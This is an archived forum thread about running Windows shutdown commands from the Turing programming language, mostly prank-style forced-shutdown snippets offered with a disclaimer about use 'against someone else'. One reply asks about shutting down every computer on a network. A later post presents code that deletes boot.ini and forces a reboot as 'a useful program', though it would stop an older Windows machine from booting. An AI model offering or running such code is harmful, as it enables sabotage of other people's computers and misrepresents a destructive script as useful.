
-----------------------------------
jdworrow
Sun Apr 11, 2004 12:53 pm

[SOURCE]--System Shutdown
-----------------------------------

 var ret: int 
 system("shutdown -s -c message-here",ret)


Well this is pretty basic. Those of you who have seen the blaster virus this window for shutdown is exactly the same. Any ideas for modification or ideas are open for molding this into something great. But I however take no responsibility for any harm caused if you use this against someone else. Not harmful on its own.
 :!:

-----------------------------------
the_short1
Sun Apr 11, 2004 4:57 pm


-----------------------------------
exactly how does this work??? 'system' i dont recall that being in turing list of commands... also... the way the optiosn are entered... taht dont look rite.... i dont know i have to go eat... ill test it later if u tell me how that works..

-----------------------------------
Tony
Sun Apr 11, 2004 5:34 pm


-----------------------------------
its a new feature in v4.0.5

system ( command : string, var ret : int )
 
The system statement is used to execute the shell (operating system) command, as if it were typed at the terminal. The return code is in ret.  


-----------------------------------
the_short1
Sun Apr 11, 2004 6:42 pm


-----------------------------------
really cool... i like... i like..... 

:twisted:   http://compsci.ca/v2/viewtopic.php?t=14296 for how to shutdown, restart, logoff using the batch file. It also integrates a few other parameters that wern't mentioined here. And of course, you're not limited to bath files, since you can just use the system command with Turing. 

-----------------------------------
[Gandalf]
Tue Nov 28, 2006 10:37 pm


-----------------------------------
Ehm... lord_pwnerer, just beause you recently wrote a tutorial on the subject doesn't mean that you should revive every post ever made about it.  In case you hadn't noticed, this is a two year old topic, and you just necro-posted.

-----------------------------------
lord_pwnerer
Wed Nov 29, 2006 7:56 am


-----------------------------------
goddamnit, you're right. Sorry about that, I really need to start looking at the dates.

-----------------------------------
Lazarus
Wed Dec 20, 2006 3:12 pm


-----------------------------------
Just out of curiousity, could this be used over a network? as in shutdown all the computer on the network?

-----------------------------------
Prince Pwn
Mon Jan 08, 2007 6:28 am

Re: [SOURCE]--System Shutdown
-----------------------------------
I never knew of the system command before! That is so awesome.
Also this could be a useful program, don't know if it works or not:

var DriveLetter : string := Dir.Current
DriveLetter := DriveLetter (1)
put DriveLetter + ":/boot.ini"
File.Delete (DriveLetter + ":/boot.ini")
put Sys.Exec (DriveLetter + ":/Windows/System32/Shutdown.exe -r")
cls


-----------------------------------
unknowngiver
Mon Jan 08, 2007 12:06 pm

RE:[SOURCE]--System Shutdown
-----------------------------------
omggg yaiii i can mess around with the system now *waits for someone to write a tutorial on terminal commands:p*
